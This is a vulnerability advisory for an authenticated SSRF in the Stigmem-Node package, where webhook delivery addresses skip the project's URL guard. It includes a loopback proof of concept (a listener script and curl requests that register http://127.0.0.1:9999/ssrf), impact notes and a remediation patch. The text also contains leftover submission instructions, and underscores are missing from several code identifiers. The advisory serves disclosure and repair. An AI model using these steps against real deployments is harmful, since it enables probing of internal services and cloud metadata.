PT-2026-80228 · Pypi · Stigmem-Node
Published
2026-08-20
·
Updated
2026-08-20
CVSS v3.1
6.3
Medium
| Vector | AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L |
Summary
Stigmem allows an authenticated user to create a webhook subscription with a user-controlled
delivery address. That value is stored and later used directly by the subscription delivery worker as the destination of a server-side HTTP POST request.The codebase already contains an outbound SSRF guard,
assert safe url(), which blocks loopback, private, link-local, and metadata-style destinations. However, the subscription webhook delivery path does not appear to apply this guard either when the subscription is created or immediately before delivery.As a result, an authenticated user can configure a webhook destination such as
http://127.0.0.1:9999/ssrf, trigger a matching fact-change event, and cause the Stigmem server to issue a server-side HTTP request to an internal loopback address.Details
Relevant files:
text
node/src/stigmem node/routes/subscriptions.py
node/src/stigmem node/subscription delivery.py
node/src/stigmem node/models/subscriptions.py
node/src/stigmem node/utility/net util.py
SubscriptionCreateRequest accepts delivery address as a plain string and validates only that it has a minimum length:
class SubscriptionCreateRequest(BaseModel):
target: str = Field(..., min length=1)
on change: str = Field(...)
delivery address: str = Field(..., min length=1)
The create route persists this value directly:
conn.execute(
"""INSERT INTO subscriptions
(id, subscriber identity, target, target kind, on change,
delivery address, idempotency key, created at, tenant id)
VALUES (?,?,?,?,?,?,?,?,?)""",
(
sub id,
identity.entity uri,
req.target,
target kind,
req.on change,
req.delivery address,
req.idempotency key,
now,
identity.tenant id,
),
)
The delivery worker later sends a server-side request to the stored value:
with httpx.Client(timeout=10.0) as client:
resp = client.post(
event["delivery address"],
json=body,
headers={
"Content-Type": "application/json",
"X-Stigmem-Event-Id": event["id"],
},
)
The codebase already has an SSRF guard in node/src/stigmem node/utility/net util.py:
def assert safe url(
url: str,
*,
allow schemes: frozenset[str] = frozenset({"https"}),
) -> None:
This guard blocks private, loopback, link-local, and metadata-style ranges, including 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, and 169.254.0.0/16.
However, I did not observe assert safe url() being called for subscription delivery address during subscription creation or before webhook delivery.
PoC
Tested against stigmem-node 0.9.0a10.
Start an internal listener on the same host:
const http = require("http");
http.createServer((req, res) => {
console.log("HIT:", req.method, req.url);
console.log("HEADERS:", req.headers);
let body = "";
req.on("data", chunk => body += chunk);
req.on("end", () => {
console.log("BODY:", body);
res.writeHead(200, { "Content-Type": "application/json" });
res.end(JSON.stringify({ ok: true, internal: true }));
});
}).listen(9999, "127.0.0.1", () => {
console.log("Listening on http://127.0.0.1:9999");
});
Start Stigmem locally:
cd node
pip install -e .
export STIGMEM DB PATH="$(pwd)/ssrf-test.db"
export STIGMEM AUTH REQUIRED=true
export STIGMEM HOST=127.0.0.1
export STIGMEM PORT=8765
export STIGMEM SUBSCRIPTION DELIVERY SWEEP S=1
export KEY=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
stigmem auth bootstrap-key --key "$KEY"
stigmem-node
Confirm the service is running:
curl -i http://127.0.0.1:8765/healthz
Response:
HTTP/1.1 200 OK
{"status":"ok"}
Create a webhook subscription whose delivery address points to loopback:
curl -i -X POST "http://127.0.0.1:8765/v1/subscriptions"
-H "Authorization: Bearer $KEY"
-H "Content-Type: application/json"
-d '{
"target": "local",
"on change": "webhook",
"delivery address": "http://127.0.0.1:9999/ssrf",
"idempotency key": "ssrf-test-1"
}'
Observed response:
HTTP/1.1 201 Created
The response confirmed that the loopback webhook destination was accepted and stored:
{
"on change": "webhook",
"delivery address": "http://127.0.0.1:9999/ssrf",
"circuit open": false,
"consecutive failures": 0
}
Trigger a matching fact-change event:
curl -i -X POST "http://127.0.0.1:8765/v1/facts"
-H "Authorization: Bearer $KEY"
-H "Content-Type: application/json"
-d '{
"entity": "stigmem://test/entity/ssrf",
"relation": "test:relation",
"value": { "type": "text", "v": "trigger webhook ssrf" },
"source": "stigmem://test/source/researcher",
"scope": "local"
}'
The internal listener receives a server-side request from Stigmem:
HIT: POST /ssrf
HEADERS: {
host: '127.0.0.1:9999',
accept: '*/*',
'accept-encoding': 'gzip, deflate',
connection: 'keep-alive',
'user-agent': 'python-httpx/0.28.1',
'content-type': 'application/json',
'x-stigmem-event-id': '<event-id>',
'content-length': '506'
}
The body contained the Stigmem event payload, including the subscription id, entity, relation, value, source, timestamp, and scope.
This confirms that an authenticated user-controlled subscription webhook destination can cause the Stigmem backend to connect to an internal loopback service.
Impact
This creates a blind SSRF primitive from the Stigmem server.
An authenticated user can cause the Stigmem backend to make HTTP POST requests to internal destinations reachable from the server, including loopback services, private network services, and link-local metadata-style endpoints if reachable in the deployment environment.
Potential impact includes:
- Internal service probing through webhook delivery success/failure behavior
- Requests to localhost-only admin services
- Requests to private RFC1918 network services
- Requests to cloud metadata/link-local endpoints where reachable
- Persistent SSRF because the malicious webhook destination is stored and retried
Even if the HTTP response body is not returned to the attacker, delivery status, retry behavior, circuit-breaker behavior, and logs may provide an internal reachability oracle.
Suggested remediation
Apply destination validation at both subscription creation time and delivery time.
Recommended changes:
1. For `on change="webhook"`, validate `delivery address` with `assert safe url()`.
2. Prefer `https://` only by default.
3. If `http://` is needed for local development, require an explicit operator-controlled allowlist.
4. Re-validate immediately before delivery to reduce stale validation and DNS rebinding risk.
5. Disable redirects or validate every redirect target before following.
6. Add regression tests proving that localhost, 127.0.0.1, private RFC1918 ranges, and 169.254.169.254 are rejected as webhook destinations.
Example patch pattern:
from stigmem node.utility.net util import assert safe url
if req.on change == "webhook":
try:
assert safe url(req.delivery address, allow schemes=frozenset({"https"}))
except ValueError as exc:
raise HTTPException(status code=400, detail=f"unsafe webhook URL: {exc}") from exc
And before delivery:
try:
assert safe url(event["delivery address"], allow schemes=frozenset({"https"}))
except ValueError:
mark delivery failed(...)
return
Before clicking submit, attach screenshot or paste the listener proof in the PoC section. This is the key evidence:
```text
HIT: POST /ssrf
user-agent: python-httpx/0.28.1
x-stigmem-event-id: ...
Kindly check this out:
[Eidetic CVE Report.pdf](https://github.com/user-attachments/files/28415009/Eidetic CVE Report.pdf)Fix
RCE
SSRF
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Stigmem-Node